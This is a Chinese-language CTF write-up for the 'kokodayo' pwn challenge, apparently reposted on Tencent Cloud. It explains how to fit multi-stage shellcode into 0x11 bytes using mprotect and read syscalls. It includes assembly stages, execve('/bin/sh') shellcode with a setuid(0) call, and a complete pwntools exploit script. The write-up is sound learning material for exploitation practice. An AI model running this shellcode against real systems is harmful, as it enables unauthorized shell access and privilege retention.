前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Kokodayo-Wp

Kokodayo-Wp

作者头像
h1J4cker
发布2022-12-01 15:52:39
3250
发布2022-12-01 15:52:39
举报
文章被收录于专栏:二进制安全

前几天无意间看到有师傅在询问最短的shellcode的长度是多少,询问之后发现是这个题目只允许写入0x11字节的shellcode,正好本人汇编水平非常的拉,所以想借这题练习练习。

打开虚拟机发现保护全开,是64位的,拖进IDA反汇编后查看伪代码,在如下图中的位置:

可以发现,程序使用mmap开辟了空间,并向该内存读入了0x11个字节,并且使用mprotect来修改该区域的权限,讲一下mprotect函数,函数原型为int mprotect(const void *start, size_t len, int prot);,

该函数有三个参数,分别为:

  • 要修改的内存地址 ==> start
  • 要修改的内存大小 ==> len
  • 以及赋予多大的权限 ==> prot

也就是说,mprotect是把从addr开始的长度为length的内存空间的保护属性修改为prot的值。需要注意的是mprotect修改权限时,是以一个内存页为最小单位的,也就是说,如果写入的长度没有达到一个内存页的大小(0x1000),mprotect认为修改一整个页的权限。

我先去尝试了一下,写了一个shellcode看了下,有0x17个字节,即使经过师傅的指点后,这题只有rsi只有低32位有值,可以用esi,会少一个字节,对比如下:

但还是超出了0x11字节,于是思考是否有其他方法可以对0x11进行扩展,把他变大,但是由于该题mprotect时,第三个参数prot为5,所以只有rx,也就是读取和执行权限,没有写入的权限(这里不懂的可以搜一下Linux下权限相关的文章看看),所以,为了后续能把可写的内存变大,需要先对这片内存赋予可写的权限,这题直接使用mprotect扩展即可,mprotect所对应的系统调用号可以在/usr/include/x86_64-linux-gnu/asm/unistd_64.h中所找到。

这里还有一个小知识,也是看到了其他师傅的文章之后才知道的,在gcc编译时,当call一个系统函数时,通常还会call一个寄存器,这题call我们写入的shellcode时,call了rdx寄存器,所以rdx里存的,就是我们写入的shellcode的地址。

在膜拜大佬的WP的同时,我也学习到了一个对这题至关重要的知识:当执行完syscall之后,程序会从内核态快速返回用户态,rcx的值会被置为rip的值,这也导致了第四个参数被存放在了r10寄存器中。

那么当我们赋予了内存写入的权限之后,来看看各个寄存器的值,rcx的值为rip,rax此时为0,那么我们如果要在该内存写入,只需要写入read的shellcode:

代码语言:javascript
复制
mov esi,ecx
xor edi,edi
syscall

这时,我们就可以向rip读入0xf个字节,那么此时,我们再次读入read的shellcode:

代码语言:javascript
复制
mov al,0
xchg r11,rdx
syscall

现在我们就已经把空间申请的非常大了,可以直接读入shellcraft.sh()生成的shellcode都没问题,但是由于开局我选了一次第一个选项,他嘲讽我,所以这题shellcode是自己写的:

代码语言:javascript
复制
mov rdi,0x68732f6e69622f
push  rdi
push rsp
pop rdi
xor rsi,rsi
xor rdx,rdx
push 59
pop rax
syscall

听说比赛中这题执行完以后权限不够,读不了flag,可以使用105号系统调用setuid来防止自动降权。

最终exp如下:

代码语言:javascript
复制
from pwn import *
from capstone import *
io=process('./kokodayo')
elf=ELF('./kokodayo')
context.arch='amd64'
#context.log_level='debug'

io.recvuntil('2. I write it myself!\n')
io.sendline('2')

#io.recvuntil('I allow you write 0x11 bytes shellcode!\n')

shellcode0 = asm('''
        mov edi,edx
        push 0xf
        pop rdx
        mov esi,edx
        mov al,10
        syscall
        xor edi,edi
        xchg ecx,esi
        syscall
        ''')



shellcode1 = asm('''
        nop\nnop\nnop\nnop\nnop\nnop\nnop\n
        mov al,0
        xchg r11,rdx
        syscall
        ''')

my_execve=asm('''
        mov rdi,0x68732f6e69622f
        push rdi
        push rsp
        pop rdi
        xor rsi,rsi
        xor rdx,rdx
        push 59
        pop rax
        syscall
        ''')

shellcode3 = asm('''
        nop\nnop\nnop\nnop\nnop\nnop\nnop\nnop\nnop\nnop\nnop\nnop\nnop\nnop\nnop\n
        mov rax,105
        xor rdi,rdi
        syscall
        mov rdi,0x68732f6e69622f
        push rdi
        push rsp
        pop rdi
        xor rsi,rsi
        xor rdx,rdx
        push 59
        pop rax
        syscall
        ''')


md = Cs(CS_ARCH_X86, CS_MODE_64)
for i in md.disasm(shellcode3, 0x00):
    success("0x%x:\t%s\t%s" %(i.address, i.mnemonic, i.op_str))

io.sendafter(b'pwn me',shellcode0)

#gdb.attach(io)
#pause()

io.send(shellcode1)

gdb.attach(io)
pause()

io.send(shellcode3)

#gdb.attach(io,"b setuid")
#pause()

io.interactive()

运行后成功获得权限:

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2022-07-24,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档